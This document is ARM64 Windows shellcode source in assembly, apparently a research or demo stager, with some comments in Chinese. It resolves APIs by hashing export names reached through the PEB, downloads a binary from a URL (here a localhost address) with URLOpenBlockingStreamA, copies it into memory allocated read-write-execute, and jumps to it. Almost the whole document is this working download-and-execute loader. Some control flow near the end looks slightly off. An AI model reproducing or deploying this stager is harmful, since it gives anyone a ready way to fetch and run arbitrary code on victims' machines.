1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
|
start:
;brk #0xF000
sub sp, sp, ((sizeof.var_tbl + 15) and -16)
adr x20, hash_tbl
adr x21, invoke_api
; LoadLibraryA("urlmon.dll")
adr x0, urlmon_name
blr x21
cbz x0, exit_shellcode
; hr = URLOpenBlockingStreamA(NULL, szUrl, &pStream, 0, 0);
mov x4, xzr
mov x3, xzr
add x2, sp, var_tbl.pStream
adr x1, url_path
mov x0, xzr ; NULL
blr x21
cbnz x0, exit_shellcode
; STATSTG Stg;
; hr = pStream->Stat(&Stg, STATFLAG_NONAME);
mov x2, STATFLAG_NONAME
add x1, sp, var_tbl.Stg
ldr x0, [sp, var_tbl.pStream]
ldr x3, [x0, IStream.lpVtbl]
ldr x3, [x3, IStreamVtbl.Stat]
blr x3
cbnz x0, exit_shellcode
; LARGE_INTEGER liZero = { 0 };
; hr = pStream->Seek(liZero, STREAM_SEEK_SET, NULL);
mov x3, xzr ; NULL
mov x2, xzr ; STREAM_SEEK_SET
add x1, sp, var_tbl.liZero
str xzr, [x1]
mov x1, xzr
ldr x0, [sp, var_tbl.pStream]
ldr x4, [x0, IStream.lpVtbl]
ldr x4, [x4, IStreamVtbl.Seek]
blr x4
cbnz x0, exit_shellcode
; pCode = VirtualAlloc(NULL, Stg.cbSize.LowPart, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
mov x3, PAGE_EXECUTE_READWRITE
mov x2, MEM_COMMIT
ldr w1, [sp, var_tbl.Stg.cbSize.LowPart]
mov x0, NULL
blr x21
cbz x0, exit_shellcode
str x0, [sp, var_tbl.pCode]
; hr = pStream->Read(pCode, Stg.cbSize.LowPart, &BytesRead);
add x3, sp, var_tbl.BytesRead
ldr w2, [sp, var_tbl.Stg.cbSize.LowPart]
ldr x1, [sp, var_tbl.pCode]
ldr x0, [sp, var_tbl.pStream]
ldr x4, [x0, IStream.lpVtbl]
ldr x4, [x4, IStreamVtbl.Read]
blr x4
cbnz x0, exit_shellcode
ldr x0, [sp, var_tbl.pCode]
blr x0
blr x21
cbz x0, exit_shellcode
exit_shellcode:
add sp, sp, ((sizeof.var_tbl + 15) and -16)
ret
invoke_api:
; 保存参数,除了x0(不会使用)
stp x1, x2, [sp, -64]!
stp x3, x4, [sp, 16]
stp x5, x6, [sp, 32]
stp x7, x8, [sp, 48]
; Ldr = (PPEB_LDR_DATA)NtCurrentTeb()->ProcessEnvironmentBlock->Ldr;
mov x1, x18 ; xpr
ldr x2, [x1, TEB_ProcessEnvironmentBlock]
ldr x2, [x2, PEB_Ldr]
; end = (PLIST_ENTRY)&Ldr->InLoadOrderModuleList;
add x2, x2, PEB_LDR_DATA_InLoadOrderModuleList
; nxt = end->Flink;
ldr x3, [x2] ; 读取第一个条目
nxt_dll:
cmp x3, x2 ; while (nxt != end)
bne load_dll_loop
add sp, sp, 64 ; 修复栈
;ret ; 返回调用者
load_dll_loop:
; bx = e->DllBase
ldr x4, [x3, LDR_DATA_TABLE_ENTRY_DllBase]
ldr x3, [x3] ; nxt = nxt->Flink
; nt = VA(PIMAGE_NT_HEADERS, bx, ((PIMAGE_DOS_HEADER)e->DllBase)->e_lfanew);
ldr w5, [x4, IMAGE_DOS_HEADER_e_lfanew]
add x5, x4, w5, uxtw #0
; va = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
; if (!va) continue;
ldr w5, [x5, #0x88]
cbz w5, nxt_dll
; exp = VA(PIMAGE_EXPORT_DIRECTORY, bx, va);
add x5, x4, w5, uxtw #0
; cnt = exp->NumberOfNames;
; if (!cnt) continue;
ldr w6, [x5, IMAGE_EXPORT_DIRECTORY_NumberOfNames]
cbz w6, nxt_dll
; dll = VA(PCHAR, bx, exp->Name);
ldr w7, [x5, IMAGE_EXPORT_DIRECTORY_Name]
add x7, x4, w7, uxtw #0
mov w8, #0 ; dx = 0
hash_dll:
; while (*dll) c = *dll++,
; c = (c >= 'A' && c <= 'Z') ? (c | 32) : c, dx += c, dx = R(dx, 8);
ldrsb x9, [x7], 1
cbz x9, exit_hash_dll
sub x10, x9, 'A'
orr x11, x9, 32
cmp x10, 26
csel x9, x11, x9, cc
add w8, w8, w9
ror w8, w8, 8
b hash_dll
exit_hash_dll:
; aon = VA(PDWORD, bx, exp->AddressOfNames);
ldr w9, [x5, IMAGE_EXPORT_DIRECTORY_AddressOfNames]
add x9, x4, w9, uxtw #0
mov x10, #0
nxt_api:
mov x11, #0
; api = VA(PCHAR, bx, aon[i]);
ldr w12, [x9, w10, uxtw #2]
add x12, x4, w12, uxtw #0
hash_api_loop:
; while (*api) ax += *api++, ax = R(ax, 8);
ldrsb x13, [x12], 1
cbz x13, exit_hash_api
add w11, w11, w13
ror w11, w11, 8
b hash_api_loop
exit_hash_api:
add w11, w11, w8 ;
ldr w12, [x20] ; 加载哈希
cmp w11, w12 ; if ((ax + dx) == hx)
beq load_api
add w10, w10, 1 ; i++
cmp w10, w6 ; i < cnt
bne nxt_api
b nxt_dll
load_api:
add x20, x20, 4
; aof = VA(PDWORD, bx, exp->AddressOfFunctions);
ldr w1, [x5, IMAGE_EXPORT_DIRECTORY_AddressOfFunctions]
add x1, x4, x1
; ono = VA(PDWORD, bx, exp->AddressOfNameOrdinals);
ldr w2, [x5, IMAGE_EXPORT_DIRECTORY_AddressOfNameOrdinals]
add x2, x4, x2
; pfn = VA(PVOID, bx, aof[ono[i]]);
ldrh w2, [x2, w10, uxtw #1] ; 读取序号
ldr w1, [x1, x2, lsl #2] ; 读取函数RVA地址
add x9, x4, w1, uxtw #0 ; 添加基地址
; 加载保存在栈上的参数
ldp x1, x2, [sp], 16
ldp x3, x4, [sp], 16
ldp x5, x6, [sp], 16
ldp x7, x8, [sp], 16
; 执行API并返回原始调用者
br x9
hash_tbl:
hash_api "kernelbase.dll", "LoadLibraryA"
hash_api "urlmon.dll", "URLOpenBlockingStreamA"
hash_api "kernelbase.dll", "VirtualAlloc"
hash_api "kernelbase.dll", "ExitThread"
urlmon_name:
db "urlmon", 0
url_path:
db "http://localhost:1234/notepad.arm64.bin", 0
|